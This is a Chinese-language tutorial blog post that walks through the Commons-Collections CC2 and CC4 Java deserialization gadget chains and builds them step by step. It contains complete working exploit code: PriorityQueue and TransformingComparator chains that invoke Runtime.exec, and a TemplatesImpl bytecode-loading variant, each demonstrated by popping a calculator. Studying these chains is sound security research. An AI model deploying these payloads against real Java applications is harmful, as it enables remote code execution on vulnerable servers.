Java反序列化Commons-Collections——CC2&CC4
0x01 前言
CC2与CC1链后半段链相同,都是通过
CC2是通过TransformingComparator
实现命令执行,而CC4则是CC2与CC3的结合。
0x02 CC2分析
因为前面是与CC1相同,这里就直接先贴上构建命令执行的exp:
1 2 3 4 5 6 7 8 9 10 11
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
同样直接对transform
进行findUsages:

这里找到了TransformingComparator#compare
方法调用了transform
,然后我们希望找一个入口方法——readObject
:最终是在PriorityQueue
类中找到下面这条链:
1 2 3 4 5
| PriorityQueue#readObject PriorityQueue#heapify PriorityQueue#siftDown PriorityQueue#siftDownUsingComparator TransformingComparator#compare
|
完美符合反序列化的要求。接下来就是逐步分析验证,构建合适的条件最终构建完整的CC2反序列化链:
先来分析下TransformingComparator
的构造方法:

这里可以传入我们构造的ChainedTransformer
,实例化对象,然后调用compare
,构造如下exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void exp2() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); transformingComparator.compare(1, 2); }
|

成功执行命令。
二、PriorityQueue#heapify
:
因为PriorityQueue
涉及到的方法属性都是私有的,所以这里这里直接通过反射的方式调用heapify
,heapify
是无参方法,以该方法举例构造exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public static void exp3() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue<>(transformingComparator); Class<?> clazz = queue.getClass(); Method method = clazz.getDeclaredMethod("heapify"); method.setAccessible(true); method.invoke(queue); }
|
开启断点调试,逐步分析,应该如何构造才能最终实现命令执行。

在走到heapify
方法时,由于size=0
,则不会执行siftDown
方法,所以这里需要必须令(size >>> 1) -1 >= 0
即size
必须大于等于2。而size
是队列的大小,所以需要在队列中添加元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public static void exp3() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue<>(transformingComparator); queue.add(1); queue.add(2); Class<?> clazz = queue.getClass(); Method method = clazz.getDeclaredMethod("heapify"); method.setAccessible(true); method.invoke(queue); }
|

直接弹出计算器了,但是经过打断点发现,并没有执行heapify
方法就弹出计算器,后续报错结束程序了。这里分析下原因:

在第二次add
时,执行到了siftUpUsingComparator
,并且执行了comparator.compare(x, (E) e) >= 0
,弹出计算器,然后报错结束程序。继续跟进发现是在compare
方法,执行compare
方法时,抛出ClassCastException
异常
即我们在初始化PriorityQueue
时传入的TransformingComparator
在第二次add
和compare
方法时会被调用,执行transform
弹出计算器然后报错,这里就可以利用反射的思想,可以先修改size
的值,然后再通过反射给PriorityQueue.comparator
赋值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public static void exp4() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue<>(); queue.add(1); queue.add(2); setField(queue, "comparator", transformingComparator); Class<?> clazz = queue.getClass(); Method method = clazz.getDeclaredMethod("heapify"); method.setAccessible(true); method.invoke(queue); }
|

这次是成功执行到了heapify
方法,并且弹出计算器

然后是最终的反序列化exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void exp5() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue<>(); queue.add(1); queue.add(2); setField(queue, "comparator", transformingComparator); serialize(queue); deserializable("ser.bin"); }
|

也是成功执行了命令。
0x03 CC2小结
看下整个调用过程
1 2 3 4 5 6 7
| PriorityQueue#readObject PriorityQueue#heapify PriorityQueue#siftDown PriorityQueue#siftDownUsingComparator TransformingComparator#compare InvokerTransformer#transform ...
|
CC2和CC1后半条链是相同的,只不过CC2的前半段是从PriorityQueue
入口开始。CC1和CC2最终都是通过InvokerTransformer#transform
来实现命令执行 ,那么如果InvokerTransformer
如果被禁掉或者被检测了(SerialKiller)该怎么办呢,这就要引出第四条CC链,下面继续分析。
0x04 CC4分析
开头提到,CC4其实就是CC2+CC3,即CC4是解决CC2在InvokerTransformer
被检测或者禁用后的另一种利用方式。
这里先贴上CC3的命令执行代码:
1 2 3 4 5 6 7 8 9
| byte[] code = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class")); TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "test"); setField(templates, "_tfactory", new TransformerFactoryImpl()); setField(templates, "_bytecodes", new byte[][]{code});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|

成功执行命令,然后就是与CC2前半段链的拼接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public static void exp2() throws Exception { byte[] code = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class")); TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "test"); setField(templates, "_tfactory", new TransformerFactoryImpl()); setField(templates, "_bytecodes", new byte[][]{code});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue queue = new PriorityQueue<>(); queue.add(1); queue.add(2); setField(queue, "comparator", transformingComparator); serialize(queue); deserialize("ser.bin");
}
|

成功弹出计算器。
当然,反射是非常灵活的 ,这里不仅仅可以修改PriorityQueue.comparator
,还可以修改TransformingComparator.transformer
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public static void exp1() throws Exception { byte[] code = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class")); TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_name", "test"); setField(templates, "_tfactory", new TransformerFactoryImpl()); setField(templates, "_bytecodes", new byte[][]{code});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("test")); PriorityQueue queue = new PriorityQueue<>(transformingComparator); queue.add(1); queue.add(2); setField(transformingComparator, "transformer", chainedTransformer); serialize(queue); deserialize("ser.bin"); }
|

同样弹出计算器。
两种方式都是为了避免在add
方法出弹计算器,后者是在实例化TransformingComparator
时,传入了一个任意的new ConstantTransformer()
,然后在队列里添加完对象后 ,通过反射将TransformingComparator.transformer
修改为构造的ChainedTransformer
,同样可以成功执行命令,不仅CC4,CC2也可以使用相同的方法。
0x05 总结
这里写一下自己在过完这几条CC链的感受:
- 基本开发能力还是要有的,起码要能很快理解每个类和每个方法的使用,不然调试半天,仅跟着别人的文章一步步走,其实学不到什么。
- 反射是很灵活的,同一条利用链可以有多种反射修改变量实现命令执行的方式,多试几个可以加深对利用链的理解。